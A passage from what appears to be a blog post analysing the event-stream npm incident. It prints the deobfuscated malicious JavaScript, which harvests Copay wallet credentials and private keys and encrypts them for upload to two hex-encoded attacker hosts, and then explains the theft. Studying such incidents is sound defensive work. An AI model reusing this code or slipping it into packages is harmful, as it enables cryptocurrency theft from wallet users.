&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                for&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; n &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, r &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;; r &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; t.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;; r &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 200&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                    var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; o &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; t.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;substr&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(r, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;200&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                    n &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; a.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;publicEncrypt&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(c, Buffer.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(o, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;utf8&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)).&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;hex&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;+&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;                i&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;636f7061796170692e686f7374&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, e, n), &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;3131312e39302e3135312e313334&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, e, n)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;            function&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; l&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;n&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (window.cordova) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                    var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; e &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; cordova.file.dataDirectory;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;                    resolveLocalFileSystemURL&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(e, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                        e.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;getFile&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(t, {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                            create: &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                        }, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                            e.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                                var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; t &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; FileReader;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                                t.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;onloadend&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                                    return&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; n&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;JSON&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(t.result))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                                }, t.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;onerror&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                                    t.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;abort&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                                }, t.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;readAsText&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(e)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                            })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                        })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                    })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (e) {} &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                    try&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                        var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; r &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; localStorage.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;getItem&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(t);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                        if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (r) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; n&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;JSON&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(r))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                    } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (e) {}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                    try&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                        chrome.storage.local.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(t, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                            if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (e) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; n&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;JSON&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(e[t]))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                        })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                    } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (e) {}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            global.CSSMap &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {}, &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;l&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;profile&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                for&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; t &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; e.credentials) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                    var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; n &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; e.credentials[t];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;                    &quot;livenet&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; ==&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; n.network &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; l&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;balanceCache-&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; n.walletId, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                        var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; t &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                        t.balance &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; parseFloat&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(e.balance.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot; &quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]), &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;btc&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; ==&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; t.coin &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; t.balance &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 100&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; ||&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;bch&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; ==&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; t.coin &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; t.balance &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1e3&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; ||&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (global.CSSMap[t.xPubKey] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;c&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;JSON&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;stringify&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(t)))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                    }.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;bind&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;            var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; e &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;bitcore-wallet-client/lib/credentials.js&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;            e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;prototype&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.getKeysFunc &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;prototype&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.getKeys, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;prototype&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;getKeys&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; t &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;getKeysFunc&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(e);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                try&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                    global.CSSMap &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; global.CSSMap[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.xPubKey] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;delete&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; global.CSSMap[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.xPubKey], &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;p&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, e &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;t&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.xPubKey))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (e) {}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; t&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (e) {}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    window.cordova &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; document.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;addEventListener&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;deviceready&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, e) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you may have guessed by now, this script tries to steal your bitcoin wallet and upload it to the attacker&apos;s server.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Edit&lt;/em&gt;: the npm team has released &lt;a href=&quot;https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident&quot;&gt;their official incident report&lt;/a&gt;, which further clarifies that the malicious code is intended to run in Copay&apos;s release process and inject the bitcoin-stealing script into Copay&apos;s wallet application.&lt;/p&gt;
&lt;p&gt;So, to summarize:&lt;/p&gt;
&lt;ul&gt;
